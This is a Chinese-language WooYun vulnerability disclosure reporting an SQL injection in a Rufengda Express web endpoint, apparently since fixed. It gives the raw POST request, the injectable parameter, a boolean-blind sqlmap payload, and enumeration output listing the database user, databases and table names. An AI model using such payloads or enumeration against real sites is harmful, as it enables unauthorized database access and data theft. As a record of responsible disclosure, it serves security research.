当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0164602

漏洞标题:凡客旗下如风达快递主站存在注入漏洞

相关厂商:北京如风达快递有限公司

漏洞作者: 心云

提交时间:2016-01-05 18:40

修复时间:2016-02-18 11:02

公开时间:2016-02-18 11:02

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向核心白帽子及相关领域专家公开
2016-01-26: 细节向普通白帽子公开
2016-02-05: 细节向实习白帽子公开
2016-02-18: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

审核大大圣诞节快乐!求上个首页T_T

详细说明:

如风达前身为凡客诚品旗下自建物流,创立于2008年4月15日,总部位于北京。
好了 废话不多说,开始正题
post数据:

POST /front/queryDeliverystaffEvaluation.do HTTP/1.1
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.rufengda.com:80/
Cookie: JSESSIONID=6B5D1B40CD07F8CBA4CFFF9344436A6C
Host: www.rufengda.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
deliverystaffId=1


参数deliverystaffId 未过滤导致注入

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: deliverystaffId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: deliverystaffId=-7907' OR 4830=4830 AND 'FNAo'='FNAo
---
[09:07:49] [WARNING] changes made by tampering scripts are not inclu
[09:07:49] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5
[09:07:49] [INFO] testing if current user is DBA
[09:07:49] [INFO] fetching current user
[09:07:49] [WARNING] running in a single-thread mode. Please conside
[09:07:49] [INFO] retrieved: xjw_crm_prog@%
current user is DBA: False
[09:08:20] [INFO] fetching database names
[09:08:20] [INFO] fetching number of databases
[09:08:20] [INFO] resumed: 2
[09:08:20] [INFO] resumed: information_schema
[09:08:20] [INFO] resumed: xjw_crm
available databases [2]:
[*] information_schema
[*] xjw_crm


漏洞证明:

涉及2个数据库:

2个数据库.png


表信息:

Database: xjw_crm
[32 tables]
+--------------------------+
| bustypematch |
| deliverystaff_evaluation |
| t_addressbook |
| t_area |
| t_area_classify |
| t_area_scope |
| t_attachment |
| t_city |
| t_customer |
| t_dictionary |
| t_imp_guide_record |
| t_operation_guide |
| t_operation_guide_temp |
| t_province |
| t_reservation |
| t_suggestion |
| t_user |
| wo_allot |
| wo_batchworkorder |
| wo_busworkorder |
| wo_deal |
| wo_depmangeruser |
| wo_distributerule |
| wo_log |
| wo_source |
| wo_templatetype |
| wo_transfer |
| wo_type |
| wo_workorder |
| wo_workorder_offical |
| wo_workorderadditional |
| wo_workorderattachment |
+--------------------------+

修复方案:

圣诞节快乐

版权声明:转载请注明来源 心云@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2016-01-06 09:39

厂商回复:

前后端都未对数据过滤造成SQL注入漏洞,针对数据层代码进行了重构,各业务接口作了类型和边界校验

最新状态:

2016-02-18:此漏洞已经确认修复,感谢乌云的各位同仁对如风达信息安全的帮助!